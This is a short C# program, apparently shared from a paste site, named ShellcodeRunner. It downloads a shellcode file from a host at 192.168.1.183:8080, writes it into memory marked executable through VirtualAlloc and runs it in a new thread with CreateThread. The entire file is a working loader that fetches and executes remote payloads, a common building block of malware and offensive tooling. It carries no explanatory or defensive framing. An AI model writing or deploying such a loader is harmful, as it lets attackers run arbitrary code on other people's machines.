MemoryPull.cs 1.5 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556
  1. using System;
  2. using System.Net;
  3. using System.IO;
  4. using System.Reflection;
  5. using System.Runtime.InteropServices;
  6. using System.Diagnostics;
  7. namespace ShellcodeRunner
  8. {
  9. class Program
  10. {
  11. [DllImport("kernel32")]
  12. public static extern IntPtr CreateThread(
  13. IntPtr lpThreadAttributes,
  14. uint dwStackSize,
  15. IntPtr lpStartAddress,
  16. IntPtr param,
  17. uint dwCreationFlags,
  18. IntPtr lpThreadId
  19. );
  20. static void Main(string[] args)
  21. {
  22. WebClient client = new WebClient();
  23. string url = "http://192.168.1.183:8080/shellcode.bin";
  24. byte[] Shellcode = client.DownloadData(url);
  25. IntPtr allocMemAddress = VirtualAlloc(IntPtr.Zero, (uint)Shellcode.Length, 0x00001000 | 0x00002000, 0x40);
  26. Marshal.Copy(Shellcode, 0, allocMemAddress, Shellcode.Length);
  27. IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, allocMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
  28. WaitForSingleObject(threadHandle, 0xFFFFFFFF);
  29. Console.WriteLine("Shellcode executed");
  30. }
  31. [DllImport("kernel32")]
  32. public static extern IntPtr VirtualAlloc(
  33. IntPtr lpStartAddr,
  34. uint size,
  35. uint flAllocationType,
  36. uint flProtect
  37. );
  38. [DllImport("kernel32")]
  39. public static extern UInt32 WaitForSingleObject(
  40. IntPtr hHandle,
  41. UInt32 dwMilliseconds
  42. );
  43. }
  44. }